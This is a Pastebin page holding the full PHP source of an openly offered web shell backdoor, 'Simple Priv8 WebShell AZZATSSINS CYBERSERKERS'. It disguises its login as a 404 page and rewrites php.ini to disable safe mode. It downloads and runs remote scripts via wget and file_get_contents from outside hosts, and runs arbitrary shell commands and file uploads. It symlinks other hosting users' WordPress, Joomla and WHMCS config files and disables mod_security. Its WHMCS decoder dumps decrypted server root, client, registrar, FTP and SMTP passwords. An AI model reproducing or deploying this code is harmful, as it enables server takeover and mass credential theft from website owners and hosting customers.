Advertisement
CYBERSERKERS

Simple Priv8 WebShell AZZATSSINS CYBERSERKERS V1

Dec 12th, 2015
612
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 29.49 KB | None | 0 0
  1. <?php
  2. /********************************
  3. Simple WebShell Backdoor
  4. Copyright AZZATSSIN'S CYBERSERS ([email protected])
  5. Special Thx To Allah & You
  6. ********************************/
  7.  
  8. /* hapus simbol comment klo mau di protect sama password ^_^ */
  9.  
  10. /*
  11. $PASSWORD = 'ASHURA';
  12. session_start();
  13. if(!$_SESSION['_sfm_allowed']) {
  14.     $t = bin2hex(openssl_random_pseudo_bytes(10));
  15.     if($_POST['p'] && sha1($t.$_POST['p']) === sha1($t.$PASSWORD)) {
  16.         $_SESSION['_sfm_allowed'] = true;
  17.         header('Location: ?');
  18.     }
  19.     echo '<html><head><title>404 Not Found</title></head><head>
  20. <h1>Not Found</h1>
  21. <p>The requested URL was not found on this server.</p>
  22.  
  23.     <style>
  24.         input { margin:0;background-color:#fff;border:1px solid #fff; }
  25.     </style>
  26.     <center> <form method=post><input type=password name=p /></form></html>';
  27.     exit;
  28. }
  29. */
  30. echo ini_get("safe_mode");
  31.  echo ini_get("open_basedir");
  32.  ini_restore("safe_mode");
  33.  ini_restore("open_basedir"); $phi = fopen("php.ini","w+");
  34. fwrite($phi,"safe_mode = Off
  35. disable_functions = NONE
  36. safe_mode_gid = OFF
  37. open_basedir = OFF ");
  38. if($_GET['symbolic']=="link"){ system('wget http://wget.yu.tl/files/sympyt.zip');system('mv sympyt.zip symlink.py');system('python symlink.py'); system('rm symlink.py'); echo '<meta http-equiv="Refresh" content= "0; url=SL">'; }
  39. echo '<title>.: ASHURA WEBSHELL :.</title><center><b><i><a href=http://fb.me/AZZATSSINS.CYBERSERKERS>SIMPLE WEB SHELL BACKDOOR</a></i></b><br><fieldset><font color=lime size=-1><b><i>[<a href="?">HOME</a>] [<a href=?system=info>INFO</a>] [<a href=?upload=file>UPLOAD</a>] [<a href=?symbolic=link>SYMLINK</a>] [<a href=?config=grabber>CONFIG</a>] [<a href=?jumping=user>JUMPING</a>] [<a href=?mysql=connect>MYSQL</a>] [<a href=?command=system>CMD</a>] [<a href=?whmcs=decode>WHMCS</a>]</i></b></font></fieldset></center>'; if($_GET['mysql']=="connect"){ $sins = file_get_contents('http://azzatssins.yu.tl/files/db.zip');
  40.  $azzat = fopen('db.php', 'w');
  41.  fwrite($azzat,$sins);
  42.  fclose($azzat);
  43.  {
  44.  @chmod('db.php',0755);
  45.  }
  46.  echo '<meta http-equiv="Refresh" content= "0; url=db.php">';
  47.  }  if($_GET['system']=="info"){  echo'<body bgcolor=black><center><img src=http://azzat.wap.mu/files/1049320/assassin_s_creed_iv_black_flag.png><br><br><i><b><h1><font color=red>PLEASE ENJOY WITH MY SHELL</font></h1><br><br><font color=lime>AUTHOR : </font><a href=mailto:[email protected]>AZZATSSINS CYBERSERKERS</a></b></i><br><font color=yellow>============</font>';
  48. function is_windows() { return strtolower(substr(PHP_OS,0,3)) == "win"; }
  49. $server=$HTTP_SERVER_VARS['SERVER_SOFTWARE'];
  50. $safe_mode=ini_get('safe_mode');
  51. $mysql_stat=function_exists('mysql_connect');
  52. $curl_on=function_exists('curl_version');
  53. $dis_func=ini_get('disable_functions');
  54. function sysinfo()
  55. {
  56.  global $curl_on, $dis_func, $mysql_stat, $safe_mode, $server, $HTTP_SERVER_VARS;
  57.  echo (($safe_mode)?("Safe Mode: </b><font color=green>ON</font><b> "):
  58.          ("<B>Safe Mode: </b><font color=red>OFF</font><b> "));
  59.  $row_dis_func=explode(', ',$dis_func);
  60.  echo ("PHP: </b><font color=blue>".phpversion()."</font><b> ");
  61.  echo ("MySQL: </b>");
  62.  if($mysql_stat){
  63.   echo "<font color=green>ON </font><b>";
  64.  }
  65.  else {
  66.   echo "<font color=red>OFF </font><b>";
  67.  }
  68.  echo "cURL: </b>";
  69.  if($curl_on){
  70.   echo "<font color=green>ON</font><b><br>";
  71.  }else
  72.   echo "<font color=red>OFF</font><b><br>";
  73.  if ($dis_func!=""){
  74.   echo "Disabled Functions : </b><font color=red>".$dis_func."</font><br><b>";
  75.  }
  76.  else {
  77.   echo "Disabled Functions : </b><font color=green>None</font><br><b>";
  78.  }
  79.  $uname = @exec('uname -a');
  80.  echo "OS: </b><font color=blue>";
  81.  if (empty($uname)){
  82.   echo (php_uname()."</font><br><b>");
  83.  }else
  84.   echo $uname."</font><br><b>";
  85.  $id = @exec('id');
  86.  echo "SERVER: </b><font color=blue>".$server."</font><br><b>";
  87.  echo "ID: </b><font color=blue>";
  88.  if (!empty($id)){
  89.   echo $id."</font><br><b>";
  90.  }else
  91.   echo "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid().
  92.        "</font><br><b>";
  93.  echo "<b>RemoteAddress: </b><font color=red>".$HTTP_SERVER_VARS['REMOTE_ADDR']."</font> , <b>Server: </b><font color=red>".@gethostbyname($_SERVER["HTTP_HOST"])."</font>";
  94.  if(isset($HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'])){
  95.   echo "<b>RemoteAddressIfProxy: </b><font color=red>".$HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR']."</font>";
  96.  }
  97.  echo "</font></font>";
  98. }
  99. function RndName() {
  100. $codelenght = 10;
  101. while(@$newcode_length < $codelenght) {
  102. $x=1;
  103. $y=3;
  104. $part = rand($x,$y);
  105. if($part==1){$a=48;$b=57;}
  106. if($part==2){$a=65;$b=90;}
  107. if($part==3){$a=97;$b=122;}
  108. $code_part=chr(rand($a,$b));
  109. (@$newcode_length = $newcode_length + 1);
  110. (@$newcode = $newcode.$code_part);
  111. }
  112. return $newcode;
  113. }
  114. echo "<CENTER>
  115.  <table border='1' cellpadding='0' cellspacing='0' style='border-collapse: collapse; border-style: solid; border-color: #C0C0C0; padding-left: 4; padding-right: 4; padding-top: 1; padding-bottom: 1' bordercolor='#111111' width='86%' bgcolor='#E0E0E0'>
  116.    <tr>
  117.      <td bgcolor='#AA0000' class='td'><div align='center' class='style4'> <b><i>SYSTEM INFO</i></b></div></td>
  118.    </tr>
  119.    <tr>
  120.      <td style='padding:5px 5px 5px 5px '>";
  121.       echo sysinfo();
  122. echo "    </td>
  123.    </tr>
  124. </table></CENTER>"; }
  125.  
  126. if($_GET['upload']=="file"){
  127. if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $userfile_name = $_FILES['azzatssins']['name']; $userfile_tmp = $_FILES['azzatssins']['tmp_name']; if (isset($_FILES['azzatssins']['name'])) { $abod = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $abod); echo"<center><b><a href='{$userfile_name}'>SUCCESS</a></b></center>"; } } else{ echo' <center><form method="POST" action="" enctype="multipart/form-data"><input type="file" name="azzatssins"><input type="Submit" name="Submit" value="SUBMIT"></form></center></BODY></HTML><br><br><br><br>'; }
  128.  
  129. }
  130.  if($_GET['command']=="system"){ echo'<center><form id="form1" name="form1" method="post" action="">
  131. <label>
  132. <input type="text" name="cmd" style="background-color:#000000; color:#de0100; font-family:Corbel;" value=""></label>
  133. <label>
  134. <input type="submit" name="Submit" value="Execute" />
  135. </label>
  136. <br><textarea name="textarea" style="width:14cm; height:5cm; background-color:#576557; color:#6fd800;">
  137. '; if(isset($_POST['cmd']))
  138. {
  139.  $cmd = $_POST['cmd'];
  140.  if($cmd == "")
  141. {
  142.  echo "                              Please Insert Command!";
  143.  }
  144.  elseif(isset($cmd))
  145.  {
  146.  $output = system($cmd);
  147.  printf("$output\n");
  148.  }
  149.  }
  150.  echo'</textarea>
  151. </form>
  152. </center>'; } ?>
  153. <?php if($_GET['config']=="grabber"){ ?>
  154. <center><br>============<br><form method=post>
  155. <textarea type=hidden rows=10 cols=30 name=user><?php $users=file("/etc/passwd");
  156. foreach($users as $user)
  157. {
  158.  $str=explode(":",$user);
  159.  echo $str[0]."\n";
  160.  }
  161.  ?></textarea><br><br>
  162. <input type=submit name=su value=" GRAB "></form>
  163. </center><?php
  164.  /*AUTHOR : AZZATSSINS CYBERSERKERS | BN-IDBTE4M */
  165. if(isset($_POST['su']))
  166.  {
  167.  mkdir('x',0777);
  168.  $r = " # Config Symlink By AZZATSSINS \nOptions Indexes FollowSymLinks \nForceType text/plain \nAddType text/plain .php \nAddType text/plain .html \nAddType text/html .shtml \nAddType txt .php \nAddHandler server-parsed .php \nAddHandler server-parsed .shtml \nAddHandler txt .php \nAddHandler txt .html \nAddHandler txt .shtml \nOptions All \n<IfModule mod_security.c> \nSecFilterEngine Off \nSecFilterScanPOST Off \nSecFilterCheckURLEncoding Off \nSecFilterCheckCookieFormat Off \nSecFilterCheckUnicodeEncoding Off \nSecFilterNormalizeCookies Off \n</IfModule>";
  169. $f = fopen('x/.htaccess','w');
  170. fwrite($f,$r);
  171. $usr=explode("\n",$_POST['user']);
  172. foreach($usr as $uss)
  173. {
  174.  $us=trim($uss);
  175. $r="x/";
  176. symlink('/home/'.$us.'/public_html/wp-config.php',$r.$us.'..wp-config');
  177. symlink('/home/'.$us.'/public_html/configuration.php',$r.$us.'..joomla-or-whmcs');symlink('/home/'.$us.'/public_html/blog/wp-config.php',$r.$us.'..wp-config');
  178. symlink('/home/'.$us.'/public_html/blog/configuration.php',$r.$us.'..joomla');symlink('/home/'.$us.'/public_html/wp/wp-config.php',$r.$us.'..wp-config');
  179. symlink('/home/'.$us.'/public_html/wordpress/wp-congig.php',$r.$us.'..wordpress');symlink('/home/'.$us.'/public_html/config.php',$r.$us.'..config');
  180. symlink('/home/'.$us.'/public_html/whmcs/configuration.php',$r.$us.'..whmcs');
  181. symlink('/home/'.$us.'/public_html/support/configuration.php',$r.$us.'..supporwhmcs');
  182. symlink('/home/'.$us.'/public_html/secure/configuration.php',$r.$us.'..securewhmcs');
  183. symlink('/home/'.$us.'/public_html/clients/configuration.php',$r.$us.'..whmcs-clients');
  184. symlink('/home/'.$us.'/public_html/client/configuration.php',$r.$us.'..whmcs-client');
  185. symlink('/home/'.$us.'/public_html/billing/configuration.php',$r.$us.'..whmcs-billing');
  186. symlink('/home/'.$us.'/public_html/admin/config.php',$r.$us.'..admin-config');
  187. echo'<meta http-equiv="Refresh" content= "0; url=x">';}}?><?php } ?>
  188. <?php  echo'
  189. <table align="center">
  190. <b><i><tr><td><b>PATH :</b> ';
  191. if(isset($_GET['path'])){
  192.     $path = base64_decode($_GET['path']);
  193. }else{
  194.     $path = getcwd();
  195. }
  196. $pathen = base64_encode($path);
  197. $path = str_replace('\\','/',$path);
  198. $paths = explode('/',$path);
  199.  
  200. foreach($paths as $id=>$pat){
  201.     if($pat == '' && $id == 0){
  202.         $a = true;
  203.         echo '<a href="?path='.base64_encode("/").'">/</a>';
  204.         continue;
  205.     }
  206.     if($pat == '') continue;
  207.     echo '<a href="?path=';
  208.     $linkpath = '';
  209.     for($i=0;$i<=$id;$i++){
  210.         $linkpath .= "$paths[$i]";
  211.         if($i != $id) $linkpath .= "/";
  212.     }
  213.     echo base64_encode($linkpath);
  214.     echo '">'.$pat.'</a>/';
  215. }
  216. if(isset($_GET['filesrc'])){
  217.     echo "<tr><td>Current File : ";
  218.     echo base64_decode($_GET['filesrc']);
  219.     echo '</tr></td></table><br />';
  220.     echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');
  221. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  222.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  223.     if($_POST['opt'] == 'chmod'){
  224.         if(isset($_POST['perm'])){
  225.             if(chmod($_POST['path'],$_POST['perm'])){
  226.                 echo '<font color="lime">Change Permission Done.</font><br />';
  227.             }else{
  228.                 echo '<font color="red">Change Permission Error.</font><br />';
  229.             }
  230.         }
  231.         echo '<form method="POST">
  232.        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  233.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  234.        <input type="hidden" name="opt" value="chmod">
  235.        <input type="submit" value="Go" />
  236.        </form>';
  237.     }elseif($_POST['opt'] == 'rename'){
  238.         if(isset($_POST['newname'])){
  239.             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  240.                 echo '<font color="lime">Change Name Done.</font><br />';
  241.             }else{
  242.                 echo '<font color="red">Change Name Error.</font><br />';
  243.             }
  244.             $_POST['name'] = $_POST['newname'];
  245.         }
  246.         echo '<form method="POST">
  247.        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  248.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  249.        <input type="hidden" name="opt" value="rename">
  250.        <input type="submit" value="Go" />
  251.        </form>';
  252.     }elseif($_POST['opt'] == 'edit'){
  253.         if(isset($_POST['src'])){
  254.             $fp = fopen($_POST['path'],'w');
  255.             if(fwrite($fp,$_POST['src'])){
  256.                 echo '<font color="lime">Edit File Done.</font><br />';
  257.             }else{
  258.                 echo '<font color="red">Edit File Error.</font><br />';
  259.             }
  260.             fclose($fp);
  261.         }
  262.         echo '<form method="POST">
  263.        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  264.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  265.        <input type="hidden" name="opt" value="edit">
  266.        <input type="submit" value="Go" />
  267.        </form>';
  268.     }
  269.     echo '</center>';
  270. }else{
  271.     echo '</table><br /><center>';
  272.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  273.         if($_POST['type'] == 'dir'){
  274.             if(rmdir($_POST['path'])){
  275.                 echo '<font color="lime">Delete Dir Done.</font><br />';
  276.             }else{
  277.                 echo '<font color="red">Delete Dir Error.</font><br />';
  278.             }
  279.         }elseif($_POST['type'] == 'file'){
  280.             if(unlink($_POST['path'])){
  281.                 echo '<font color="lime">Delete File Done.</font><br />';
  282.             }else{
  283.                 echo '<font color="red">Delete File Error.</font><br />';
  284.             }
  285.         }
  286.     }
  287.     echo '</center>';
  288.     $scandir = scandir($path);
  289.     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  290.    <tr class="first">
  291.        <td><center>Name</center></td>
  292.        <td><center>Size</center></td>
  293.        <td><center>Permissions</center></td>
  294.        <td><center>Options</center></td>
  295.    </tr>';
  296.  
  297.     foreach($scandir as $dir){
  298.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  299.         $dirlink = base64_encode("$path/$dir");
  300.         echo "<tr>
  301.        <td><a href=\"?path=$dirlink\">$dir</a></td>
  302.        <td><center>--</center></td>
  303.        <td><center>";
  304.         if(is_writable("$path/$dir")) echo '<font color="lime">';
  305.         elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  306.         echo perms("$path/$dir");
  307.         if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  308.        
  309.         echo "</center></td>
  310.        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
  311.        <select name=\"opt\">
  312.         <option value=\"\"></option>
  313.        <option value=\"delete\">Delete</option>
  314.        <option value=\"chmod\">Chmod</option>
  315.        <option value=\"rename\">Rename</option>
  316.        </select>
  317.        <input type=\"hidden\" name=\"type\" value=\"dir\">
  318.        <input type=\"hidden\" name=\"name\" value=\"$dir\">
  319.        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  320.        <input type=\"submit\" value=\">\" />
  321.        </form></center></td>
  322.        </tr>";
  323.     }
  324.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  325.     foreach($scandir as $file){
  326.         if(!is_file("$path/$file")) continue;
  327.         $size = filesize("$path/$file")/1024;
  328.         $size = round($size,3);
  329.         if($size >= 1024){
  330.             $size = round($size/1024,2).' MB';
  331.         }else{
  332.             $size = $size.' KB';
  333.         }
  334.         $filelink = base64_encode("$path/$file");
  335.         echo "<tr>
  336.        <td><a href=\"?filesrc=$filelink&path=$pathen\">$file</a></td>
  337.        <td><center>".$size."</center></td>
  338.        <td><center>";
  339.         if(is_writable("$path/$file")) echo '<font color="lime">';
  340.         elseif(!is_readable("$path/$file")) echo '<font color="red">';
  341.         echo perms("$path/$file");
  342.         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  343.         echo "</center></td>
  344.        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
  345.        <select name=\"opt\">
  346.         <option value=\"\"></option>
  347.        <option value=\"delete\">Delete</option>
  348.        <option value=\"chmod\">Chmod</option>
  349.        <option value=\"rename\">Rename</option>
  350.        <option value=\"edit\">Edit</option>
  351.        </select>
  352.        <input type=\"hidden\" name=\"type\" value=\"file\">
  353.        <input type=\"hidden\" name=\"name\" value=\"$file\">
  354.        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  355.        <input type=\"submit\" value=\">\" />
  356.        </form></center></td>
  357.        </tr>";
  358.     }
  359.     echo '</i></b></table>
  360.    </div>';
  361. }
  362.  
  363. function perms($file){
  364.     $perms = @fileperms($file);
  365.  
  366. if (($perms & 0xC000) == 0xC000) {
  367.     // Socket
  368.     $info = 's';
  369. } elseif (($perms & 0xA000) == 0xA000) {
  370.     // Symbolic Link
  371.     $info = 'l';
  372. } elseif (($perms & 0x8000) == 0x8000) {
  373.     // Regular
  374.     $info = '-';
  375. } elseif (($perms & 0x6000) == 0x6000) {
  376.     // Block special
  377.     $info = 'b';
  378. } elseif (($perms & 0x4000) == 0x4000) {
  379.     // Directory
  380.     $info = 'd';
  381. } elseif (($perms & 0x2000) == 0x2000) {
  382.     // Character special
  383.     $info = 'c';
  384. } elseif (($perms & 0x1000) == 0x1000) {
  385.     // FIFO pipe
  386.     $info = 'p';
  387. } else {
  388.     // Unknown
  389.     $info = 'u';
  390. }
  391.  
  392. // Owner
  393. $info .= (($perms & 0x0100) ? 'r' : '-');
  394. $info .= (($perms & 0x0080) ? 'w' : '-');
  395. $info .= (($perms & 0x0040) ?
  396.             (($perms & 0x0800) ? 's' : 'x' ) :
  397.             (($perms & 0x0800) ? 'S' : '-'));
  398.  
  399. // Group
  400. $info .= (($perms & 0x0020) ? 'r' : '-');
  401. $info .= (($perms & 0x0010) ? 'w' : '-');
  402. $info .= (($perms & 0x0008) ?
  403.             (($perms & 0x0400) ? 's' : 'x' ) :
  404.             (($perms & 0x0400) ? 'S' : '-'));
  405.  
  406. // World
  407. $info .= (($perms & 0x0004) ? 'r' : '-');
  408. $info .= (($perms & 0x0002) ? 'w' : '-');
  409. $info .= (($perms & 0x0001) ?
  410.             (($perms & 0x0200) ? 't' : 'x' ) :
  411.             (($perms & 0x0200) ? 'T' : '-'));
  412.  
  413.     return $info;
  414. }
  415.  
  416.  
  417. echo "<body style='color: #12ae00;background:url(http://azzat.wap.mu/files/1049320/IMG_20150725_103425.JPG) repeat scroll center top;background-attachment: fixed;SCROLLBAR-FACE-COLOR: #F1F1F1; MARGIN: 0px;SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; OVERFLOW: auto;'>";
  418. if($_GET['jumping']=="user"){
  419. echo "<center><h1><font color='lime'>JUMPING</a></h1></center><br>";
  420. //$us = file_get_contents("/etc/passwd");
  421. $usa = fopen('/etc/passwd','r');
  422. $dir = mkdir('loncat', 0777);
  423. $rrrr = "Options all \n DirectoryIndex jump \n Require None \n Satisfy Any";
  424. $frr = fopen('loncat/.htaccess', 'w');
  425.  
  426. fwrite($frr, $rrrr);
  427. while($us = fgets($usa)){
  428. if($us==""){
  429.     echo "<font color=red>can't read /etc/passwd</font>";
  430. }
  431. else{
  432. preg_match_all('/(.*?):x:/', $us, $user_byk);
  433.  
  434.     foreach($user_byk[1] as $user){
  435.         $dir1 = "/home/$user/public_html/";
  436.         $ashura = base64_encode($dir1);
  437.         if(is_readable($dir1)){
  438.            echo "<center><fieldset><i><b><font color='lime'><a href='?path={$ashura}'>$dir1</a></b></i></fieldset></center><br>";
  439.        }
  440.         else{
  441.            
  442.         }
  443.  
  444.    }
  445.  
  446. }
  447.  
  448. }
  449. }
  450.  /* Bagi Seorang Newbie Seperti Saya, Edit Script Ginian Aja Membutuhkan Waktu 7 Hari 7 Malam, :'( Dah Aku Mah Apa Atuh....!!! (AZZATSSINS CYBERSERKERS) */ ?>
  451.  <?
  452. if($_GET['whmcs']=="decode"){
  453. ?>
  454. <p><br/><body style='color: #12ae00;background:url(http://azzat.wap.mu/files/1049320/IMG_20150725_103425.JPG) repeat scroll center top;background-attachment: fixed;SCROLLBAR-FACE-COLOR: #F1F1F1; MARGIN: 0px;SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; OVERFLOW: auto;'>
  455. <center><br/><br/><nobr><b><font color=lime><span class="b7">XXX WHMCS</span> <span class="b8">DECODER XXX</span></font></b></nobr><br/><br/>
  456. <p><form method="post">
  457. <table border=1>
  458. <tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
  459. <tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
  460. <tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
  461. <tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
  462. <tr><td>cc_encryption_hash</td><td><input style="color:#FF0000;background-color:#000000" type="text" size="60" name="anu5"></td></tr>
  463. <tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
  464.  
  465. </table>
  466. <br></form></center>
  467.  
  468. <?php
  469. $perawan = $_POST['anu1'];
  470. $kimcil = $_POST['anu2'];
  471. $janda = $_POST['anu3'];
  472. $hotel = $_POST['anu4'];
  473. $kondom = $_POST['anu5'];
  474.  
  475. @mysql_connect($perawan,$kimcil,$janda);
  476. @mysql_select_db($hotel);
  477. $cc_encryption_hash = $kondom;
  478.  
  479. function dec($string,$cc_encryption_hash){
  480. $key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
  481. $hash_key = _hash($key);
  482.    
  483. $hash_length = strlen($hash_key);
  484. $string = base64_decode($string);
  485. $tmp_iv = substr($string,0,$hash_length);
  486. $string = substr($string,$hash_length,strlen ($string) - $hash_length);
  487. $iv = $out = '';
  488. $c = 0;
  489. while ($c < $hash_length){
  490. $iv .= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
  491. ++$c;
  492. }
  493.  
  494. $key = $iv;
  495. $c = 0;
  496. while ($c < strlen($string)){
  497. if (($c != 0 AND $c % $hash_length == 0)){
  498.            
  499. $key = _hash($key . substr($out,$c - $hash_length,$hash_length));
  500. }
  501. $out .= chr(ord($key[$c % $hash_length]) ^ ord ($string[$c]));
  502.  ++$c;
  503. }
  504.     return $out;
  505. }
  506. function _hash($string)
  507. {
  508. $hash = (function_exists('sha1')) ? sha1($string):md5($string);
  509. $out = '';
  510. $c = 0;
  511.  
  512. while ($c < strlen($hash)){
  513. $out .= chr(hexdec($hash[$c] .$hash[$c + 1]));
  514. $c += 2;
  515. }
  516. return $out;
  517. }
  518.  
  519. ########  GO TO HELL ########
  520. ##### :D ########### :D #####
  521.  
  522. if(isset($_POST['plapon'])) {
  523. $query = mysql_query("SELECT *FROM tblservers");
  524. echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
  525. <tr><th colspan='7'> <span class='b7'><a href='http://fb.me/AZZATSSINS.CYBERSERKERS'>[ HOST ROOT ]</a></span> </th></tr>
  526.  
  527. <tr>
  528. <th align='center'><b>TYPE</b></th>
  529. <th align='center'><b>ACTIVE</b></th>
  530. <th align='center'><b>HOSTNAME</b></th>
  531. <th align='center'><b>IP ADDRESS</b></th>
  532. <th align='center'><b>USERNAME</b></th>
  533. <th align='center'><b>PASSWORD</b></th>
  534. <th align='center'><b>ACCESS HASH</b></th></tr>";
  535. if(!is_array(mysql_fetch_array($query))){
  536. echo "<tr><td colspan='8' align='center'>Nothing Found !</td></tr>";
  537. }        
  538. while($v = mysql_fetch_array($query)) {
  539. echo "<tr>
  540. <td align='center'>{$v['type']}</td>
  541. <td align='center'>{$v['active']}</td>
  542. <td align='center'>{$v['hostname']}</td>
  543. <td align='center'>{$v['ipaddress']}</td>
  544. <td align='center'>{$v['username']}</td>
  545. <td align='center'>".dec($v['password'],$cc_encryption_hash)."</td>
  546. <td align='center'>{$v['accesshash']}</td>
  547. </tr>";
  548. }
  549. echo "</table>";
  550.  
  551.  
  552. $query = mysql_query("SELECT * FROM tblhosting where username = 'root' or username = 'vmuserxx' or username = 'vmuser' or username = 'admin' or username = 'Admin' or username = 'administrator' or username = 'Administrator' order by domainstatus");
  553. echo "<body style='color: #12ae00;background:url(http://azzat.wap.mu/files/1049320/IMG_20150725_103425.JPG) repeat scroll center top;background-attachment: fixed;SCROLLBAR-FACE-COLOR: #F1F1F1; MARGIN: 0px;SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; OVERFLOW: auto;'>
  554. <br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
  555. <tr><th colspan='6'><span class='b7'>O=:[ CLIENTS ROOT ]:=O</span> </th></tr>
  556.  
  557. <tr>
  558. <th align='center'><b> DOMAIN</b></th>
  559. <th align='center'><b> STATUS</b></th>
  560. <th align='center'><b> USERNAME</b></th>
  561. <th align='center'><b> PASSWORD</b></th>
  562. <th align='center'><b> DEDICATED IP</b></th>
  563. <th align='center'><b> ASSIGNED IP</b></th></tr>";
  564.  
  565. if(!is_array(mysql_fetch_array($query))){
  566. echo "<tr><td colspan='6' align='center'>Nothing Found ! :(</td></tr>";
  567. }
  568. while($v = mysql_fetch_array($query)){
  569. echo "<tr>
  570. <td align='center'> {$v['domain']}</td>
  571. <td align='center'> {$v['domainstatus']}</td>
  572. <td align='center'> {$v['username']}</td>
  573. <td align='center'> ".dec($v['password'],$cc_encryption_hash)."</td>
  574. <td align='center'> {$v['dedicatedip']}</td>
  575. <td align='center'> {$v['assignedips']}</td></tr>";
  576. }
  577. echo "</table>";
  578.  
  579. $query = mysql_query("SELECT *FROM tblregistrars");
  580. echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
  581. <tr><th colspan='3'><nobr><span class='b7'>O=:[ DOMAIN REGISTRAR ]:=O</span></nobr></th></tr>
  582. <tr>
  583. <th align='center'><b>REGISTRAR</b></th>
  584. <th align='center'><b>SETTING</b></th>
  585. <th align='center'><b>VALUE</b></th></tr>";
  586. if(!is_array(mysql_fetch_array($query))){
  587. echo "<tr><td colspan='3' align='center'>Nothing Found !</td></tr>";
  588. }
  589. while($v = mysql_fetch_array($query)){
  590. $value = (!dec($v['value'],$cc_encryption_hash)) ? "0":dec($v['value'],$cc_encryption_hash);
  591. echo "<tr>
  592. <td align='center'>{$v['registrar']}</td>
  593. <td align='center'>{$v['setting']}</td>
  594. <td align='center'>$value</td></tr>" ;
  595. }
  596. echo "</table>";
  597.  
  598. $query = mysql_query("SELECT * FROM tblconfiguration where 1");
  599. echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
  600. <tr><th colspan='4'> <span class='b7'>O=:[ FTP BACKUP ]:=O</span> </th></tr>
  601.  
  602. <tr>
  603. <th align='center'><b>FTP HOSTNAME</b></th>
  604. <th align='center'><b>FTP USERNAME</b></th>
  605. <th align='center'><b>FTP PASSWORD</b></th>
  606. <th align='center'><b>DESTINATION</b></th></tr>";
  607. $ftpb = array('FTPBackupHostname',
  608. 'FTPBackupUsername',
  609. 'FTPBackupPassword',
  610. 'FTPBackupDestination');
  611. if(!is_array(mysql_fetch_array($query))){
  612. echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
  613. }
  614. while($row = mysql_fetch_array($query)){
  615. if($row[setting] == $ftpb[0]){
  616. echo "<tr><td>{$row[value]}</td>";  
  617. $ftpb[0] = xxx;
  618. }
  619. elseif($row[setting] == $ftpb[1]){
  620. echo "<td>{$row[value]}</td>";  
  621. $ftpb[1] = xxx;
  622. }
  623. elseif($row[setting] == $ftpb[2]){
  624. echo "<td>{$row[value]}</td>";  
  625. $ftpb[2] = xxx;
  626. }
  627. elseif($row[setting] == $ftpb[3]){
  628. echo "<td>{$row[value]}</td>";  
  629. $ftpb[3] = xxx;
  630. }
  631. }
  632. echo "</table>";
  633.  
  634. $query = mysql_query("SELECT * FROM tblconfiguration where 1");
  635. echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
  636. <tr><th colspan='4'><span class='b7'>O=:[ SMTP SERVER ]:=O</span> </th></tr>
  637. <tr>
  638. <th align='center'><b>SMTP HOST</b></th>
  639. <th align='center'><b>SMTP USER</b></th>
  640. <th align='center'><b>SMTP PASS</b></th>
  641. <th align='center'><b>SMTP PORT</b></th></tr>";
  642.  
  643. $smtp = array('SMTPHost',
  644. 'SMTPUsername',
  645. 'SMTPPassword',
  646. 'SMTPPort');
  647. if(!is_array(mysql_fetch_array($query))){
  648. echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
  649. }
  650. while($row = mysql_fetch_array($query)){
  651. if($row[setting] == $smtp[0]){
  652. echo "<tr><td>{$row[value]}</td>";  
  653. $smtp[0] = xxx;
  654. }
  655. elseif($row[setting] == $smtp[1]){
  656. echo "<td>{$row[value]}</td>";  
  657. $smtp[1] = xxx;
  658. }
  659. elseif($row[setting] == $smtp[2]){
  660. echo "<td>{$row[value]}</td>";  
  661. $smtp[2] = xxx;
  662. }
  663. elseif($row[setting] == $smtp[3]){
  664. echo "<td>{$row[value]}</td>";  
  665. $smtp[3] = xxx;
  666. }
  667. }
  668. echo "</table>";
  669.  
  670.  
  671. $query = mysql_query("SELECT *FROM tblpaymentgateways");
